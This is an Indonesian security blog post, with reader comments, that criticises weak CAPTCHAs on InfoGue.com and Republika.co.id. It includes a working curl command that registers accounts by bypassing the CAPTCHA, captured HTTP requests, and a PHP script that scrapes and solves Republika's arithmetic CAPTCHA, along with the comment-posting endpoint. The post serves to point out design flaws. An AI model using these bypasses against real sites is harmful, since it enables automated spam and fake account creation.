in Web Security

Captcha Salah Kaprah di Republika.co.id dan InfoGue.com

Captcha kini menjadi andalan webmaster untuk membendung spam. Captca yang dimaksudkan untuk membedakan antara mesin dan manusia, tidak bisa dibuat secara sembarangan. Bila captcha dibuat sembarangan, maka fungsi dari captcha menjadi tidak ada karena mesin bisa dengan mudah menembusnya, bahkan mungkin justru mempersulit manusia. Dalam artikel ini saya akan menunjukkan dua contoh captcha yang salah kaprah karenaΒ  soal yang disajikan sulit dikerjakan manusia, namun mudah bagi mesin.

Bagaimana Seharusnya Captcha?

Captcha adalah soal yang dibuat oleh mesin dan dirancang hanya bisa dijawab dengan sempurna oleh manusia, bukan oleh mesin. Jadi sesuai definisi tersebut, captcha haruslah memiliki kriteria:

  • Tidak bisa dijawab mesin dengan sempurna
  • Mudah dijawab manusia

Captcha harus dirancang sedemikian hingga memenuhi kriteria di atas. Jadi kalau sampai ada captcha yang mempermudah mesin dan mempersulit manusia itu sebenarnya bukan captcha. Seperti apa bentuk captcha yang baik? Sebelumnya mari kita lihat dulu berbagai bentuk penyimpanan informasi.

Informasi dalam komputer bisa direpresentasikan dalam berbagai bentuk, mulai dari yang paling sederhana sampai paling kompleks:

  • Text
  • Image dan Suara
  • Video

Text adalah bentuk penyimpanan informasi paling primitif dan sederhana. Informasi yang diambil dari text tidak memerlukan pemrosesan apa-apa, sehingga bisa langsung diambil mesin. Mesin tidak akan mengalami kesulitan mendapatkan informasi dalam bentu text.

Bentuk yang lebih rumit lagi adalah image dan suara. Image dan suara dalam komputer disimpan dalam bentuk kumpulan warna pixel atau frekuensi suara kamudian diencode dalam format tertentu. Image dan suara mengandung informasi yang tersirat, implisit. Informasi dalam image dan suara harusΒ  diproses dengan perhitungan dan komputasi yang kompleks untuk bisa menangkap informasi yang ada di dalamnya.

Bentuk yang paling kompleks lagi adalah video. Video adalah kumpulan image dan suara yang disusun sedemikian rupa sehingga menampilkan animasi. Walaupun memilii tingkat kompleksitas tertinggi, jarang ada captcha dalam bentuk video karena pertimbangan besarnya ukuran file video dibandingkan file gambar atau suara.

Jadi bentuk captcha yang paling umum adalah berupa image. Informasi dalam image tidak mudah dibaca mesin, namun dari segi ukuran juga tidak terlalu besar. Namun tidak semua captcha berupa image adalah captcha yang baik, karena bila kode dalam captcha terlalu bersih, mesin bisa membaca dengan sempurna. Silakan baca artikel saya tentang bagaimana menjebol catpcha dengan OCR (optical character reader).

Alur penyelesaian captcha biasanya terdiri dari 2 langkah. Langkah pertama adalah langkah menerima soal, browser meminta suatu halaman ke web server, kemudian web server mengirimkan form HTML dan captcha yang harus dijawab. Setelah pengguna mengisi form dan jawaban captchanya, langkah kedua adalah langkah menjawab soal. Browser mengirimkan POST submit beserta jawaban captcha kembali ke webserver. Gambar berikut menunjukkan alur umum penyelesaian captcha.

captcha flow

captcha flow

Captcha Salah Kaprah

Saya menemukan beberapa website yang menggunakan captcha yang saya sebut salah kaprah karena captcha tersebut bukannya mempersulit mesin, namun justru memudahkan mesin, bahkan mempersulit manusia. Seharusnya captcha tidak boleh mempersulit manusia, tapi harus mempersulit mesin.

Ternyata banyak juga webmaster yang masih kurang paham apa itu captcha dan bagaimana seharusnya captcha yang baik itu. Banyak webmaster yang hanya berpikir bahwa bila situsnya sudah diberi captcha, maka situsnya akan aman dari spammer. Padahal tidak semua captcha itu baik, captcha yang terlalu mudah dibaca mesin, tidak ada gunanya sama sekali, justru malah mempersulit pengguna dan membuat pengguna menjauhi situs tersebut.

Mari kita bahas contoh captcha salah kaprah pada situs republika dan infogue.

Breaking Captcha InfoGue.com

infoguelogo

Infogue.com adalah situs social bookmark lokal. Pengguna bisa memasukkan link untuk direview dan diberi point oleh pembaca yang lain. Social bookmark kini menjadi salah satu senjata andalan webmaster untuk mendongkrak popularitas situsnya dan meningkatkan pengunjung situs. Oleh karena itu situs social bookmark menjadi rawan akan serangan spammer yang ingin meningkatkan popularitas situsnya di search engine.

Dalam artikel ini akan saya contohnya bagaimana menembus captcha pada saat registrasi. Registrasi dilakukan dengan membuka URL http://www.infogue.com/registration/, kemudian pendaftar harus mengisi form pendaftaran, termasuk juga kode captcha. Berikut adalah tampilan web pada saat registrasi dilakukan.

captcha registrasi

captcha registrasi

Kesalahan 1: Captcha Terdiri dari 6 Gambar Terpisah

Pada gambar di atas terlihat pada saat registrasi, pendaftar harus memasukkan kode captcha. Hal ini dimaksudkan webmaster situs tersebut agar tidak ada mesin/robot yang coba-coba mendaftar. Tapi mari kita lihat lebih detil lagi captcha pada form tersebut. Bila captcha tersebut dilihat dengan Addon Web Developer di Firefox, akan terlihat bahwa sebenarnya captcha itu bukan satu image tunggal, melainkan terdiri dari 6 gambar terpisah. Perhatikan gambar berikut ini.

looks like one single image

looks like one single image

Gambar berikut ini adalah gambar bila captcha dilihat dengan Addon Web Developer.

6 different images

6 different images

Terlihat bahwa gambar diatas bahwa captcha tersebut sebenarnya adalah 6 gambar yang berbeda. Lebih parah lagi adalah nama file dari gambar tersebut mencerminkan kode dalam gambar tersebut, sebagai contoh adalah file bernama k.jpg untuk gambar berkode huruf “k”. Kalau kita lihat source code dari halaman registrasi tersebut, maka kita akan temukan nama-nama file gambar tersebut. Berikut adalah potongan source html dari halaman registrasi tersebut.









Dari source html tersebut terlihat jelas nama file gambar untuk setiap karakter captcha. Karena itu adalah source html, maka nama file tersebut tersaji dalam bentuk teks. Karena nama-nama file tersebut adalah jawaban dari captcha, maka untuk menembus captcha tersebut mesin hanya perlu membaca nama-nama file gambar dari source html yang didapatkan. Ingat bahwa bentuk penyimpanan informasi paling primitif adalah teks sehingga mesin tidak akan kesulitan untuk menjawab captcha tersebut karena mesin hanya perlu mendapatkan nama-nama filenya saja. Mesin tidak perlu sama sekali mendownload gambar capthanya, cukup tahu nama filenya saja dari source htmlnya saja untuk menjawab captcha dengan sempurna.

Kesalahan 2: Jawaban Disimpan dalam Hidden Field

Ternyata kesalahan captcha pada infogue bukan cuma itu, namun kesalahan yang lebih fatal lagi adalah menyimpan jawaban capctha dalam hidden field. Kalau kita perhatikan field-field pada form, maka ada field bertipe “hidden” yang bernama captcha_code. Dengan Addon Web Developer kita bisa melihat detil field pada form. Perhatikan gambar di bawah ini untuk melihat field dalam form.

captcha_code hidden field

captcha_code hidden field

Jadi selain dengan membaca nama file gambar seperti pada kesalahan 1 di atas, cara lain yang lebih mudah adalah dengan membaca isi hidden field captcha_code pada source htmlnya.

Kesalahan 3: Jawaban Captcha Bisa Apa Saja

Kesalahan ini adalah kesalahan yang paling aneh. Sebelumnya sudah saya sebutkan pada kesalahan ke-2 bahwa ada hidden field (“input type=hidden”) bernama captcha_code. Ternyata fungsi dari captcha_code ini adalah sebagai kunci jawaban dari captcha. Agar lebih jelas, mari kita lihat traffic HTTP yang terjadi ketika form registrasi disubmit.

http://www.infogue.com/registration/index.php

POST /registration/index.php HTTP/1.1
Host: www.infogue.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.2.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://www.infogue.com/registration/
Cookie: PHPSESSID=bc1c8c242bcae4dc408e4462d6561568; PHPSESSID=bc1c8c242bcae4dc408e4462d6561568
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
user_name=coba56789&email=coba56789%40testemail.com&passwordx=coba56789&passwordy=coba56789&name=coba56789&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba56789&country=US&code=vycpiq&captcha_code=vycpiq®ister-terms=1&submit=lanjut

Perhatikan pada data yang disubmit, ada dua field penting yang terkait dengan captcha. captcha_code dan code. Kedua field ini isinya harus sama agar test captcha dikatakan sukses. Jadi sebenarnya kita tidak perlu menjawab captcha sesuai dengan soal yang diminta, kita bisa memberikan jawaban apa saja yang kita mau. Caranya adalah dengan mengisi captcha_code dan code dengan isi yang sama pada saat submit form data.

Sebelumnya saya sudah menjelaskan bahwa alur penyelesaian captcha terdiri dari 2 langkah, langkah menerima soal dan menjawab soal. Nah dengan kesalahan ini, maka kita tidak perlu tahu soalnya, kita bisa langsung mengirimkan (submit) form dan mengirimkan jawaban captcha apa saja yang kita mau. Gambar berikut menunjukkan alur penyelesaian captcha di infogue.

captcha flow infogue

captcha flow infogue

Mari kita coba untuk membuat user dengan command line di linux.

$ curl -vvv -s "http://www.infogue.com/registration/" -d "user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba126&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba126&country=US&code=sukasuka&captcha_code=sukasuka®ister-terms=1&submit=lanjut"
* About to connect() to www.infogue.com port 80
*   Trying 202.6.233.86... connected
* Connected to www.infogue.com (202.6.233.86) port 80
> POST /registration/ HTTP/1.1
> User-Agent: curl/7.15.5 (i686-redhat-linux-gnu) libcurl/7.15.5 OpenSSL/0.9.8b zlib/1.2.3 libidn/0.6.5
> Host: www.infogue.com
> Accept: */*
> Content-Length: 241
> Content-Type: application/x-www-form-urlencoded
>
> user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba126&gender=1&day=01&month=1&year=2000&poscode=12312&location=coba126&country=US&code=sukasuka&captcha_code=sukasuka®ister-terms=1&submit=lanjut

< HTTP/1.1 302 Found
< Date: Mon, 18 May 2009 09:58:09 GMT
< Server: Apache/2.2.3 (Debian) PHP/5.2.0-8+etch13
< X-Powered-By: PHP/5.2.0-8+etch13
< Set-Cookie: PHPSESSID=4fa4fd914ae3ac923c6206ffe0e69a82; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
< Pragma: no-cache
< Set-Cookie: PHPSESSID=4fa4fd914ae3ac923c6206ffe0e69a82; expires=Wed, 17-Jun-2009 09:58:09 GMT; path=/; domain=.infogue.com
< Location: http://www.infogue.com/user/coba128/
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
* Connection #0 to host www.infogue.com left intact
* Closing connection #0

Terlihat bahwa respons dari server adalah HTTP 302 ke /user/[username], hal ini menunjukkan bahwa pendaftaran berhasil. Lihat betapa mudahnya membuat user baru tanpa peduli dengan captcha. Hanya dengan membuat POST request dan mengisi captcha dengan "sukasuka". Jadi perintah di Linux untuk membuat user di infogue sangat sederhana:

curl -s "http://www.infogue.com/registration/" -d "user_name=coba128&email=coba128%40ilmuhacking.com&passwordx=pass123&passwordy=pass123&name=coba128&gender=1&day=01&month=1&year=2000&poscode=12312&location=manasaja&country=US&code=sukasuka&captcha_code=sukasuka®ister-terms=1&submit=lanjut"

Breaking Captcha Republika.co.id
republikalogo

Satu lagi website yang menggunakan captcha yang salah kaprah adalah Republika. Website koran ini memakai captcha agar artikel di webnya tidak dimasuki comment spam. Gambar di bawah ini menunjukkan contoh spam dan source htmlnya.

republika captcha

republika captcha

Captcha dalam bentuk soal matematika ini sangat mudah diselesaikan oleh mesin karena soal ditulis dalam bentuk teks html biasa. Seperti yang sudah kita ketahui bahwa teks adalah bentuk penyimpanan informasi yang paling primitif sehingga sangat mudah dibaca oleh mesin. Jadi kesalahan dari captcha di website republika adalah menggunakan teks sebagai captcha.

Berikut ini adalah script php sederhana yang mengambil berita di website republika kemudian menyelesaikan soal captchanya.

",$pos1+1);
$pos3 = strpos($str,"<",$pos2+1);
$equation = trim(substr($str,$pos2+1,$pos3-$pos2-1));
$equation = str_replace(" ", "", $equation);
eval("\$hasil=$equation;");
print $equation."=".$hasil."\n";
?>

Mari kita coba jalankan script di atas sebanyak 10 kali. Berikut hasilnya:

$ for i in `seq 1 10`;do php republika.php ;done
3+1=4
6-0=6
9+8=17
3+6=9
9-3=6
2+9=11
4-4=0
9-3=6
8+7=15
1-8=-7

Setelah menyelesaikan captcha, langkah kedua adalah langkah mengirimkan jawaban soal ke webserver. Jawaban dikirimkan dalam bentuk POST request ke http://www.republika.co.id/E3/saveCommentar bersama dengan cookie dan field berikut:
nama=[NamaKomentator]&email=&website=&news_id=51223&komentar=[isikomentar]&secCode=[JawabanCaptcha]&commit=

Write a Comment

Comment

19 Comments

  1. Hahahaha akhirnya ada yang membahas juga :D. Saya sudah lama tahu trik ini misalnya adalah captcha milik situs its.ac.id (di bagian berita) dimana data dibuat hidden. Terimakasih info Anda sangat bermanfaat.

  2. hmm saya baru tuh ada perintah “curl” di linux πŸ˜€

    root@bufferdie:~# whatis curl
    curl [] (1) – config – Get information about a libcurl installation
    curl [] (1) – transfer a URL

    thx ya omz…:D~~

  3. Hahaha,
    tapi barusan coba submit di infogue, captchanya salah terus, padahal sudah diisi betul. Malah udah dicopy dari captcha code, dan dicocokkan sama file-file captcha jpeg.
    Parah, selalu dibilang captcha salah.

  4. Trus udah kasih tau ke pihak yg bersangkutan nya mas?? kayak nya masih berlanjut tuh, cuman hidden field nya doank yg diilangin sekarang di InfoGue.. πŸ˜€

  5. @lestari:
    iya, siapa sih yang bikin infogue tuh, sok banget, btw lestary share ilmunya donk πŸ˜€
    @Rudi:
    iya mas, itu trus di improve, cuma human resource nya aja yang kurang πŸ™

    Buat Mas Rizki, salam kenal yaaa, terima kasih infonya :D, salam kenal πŸ™‚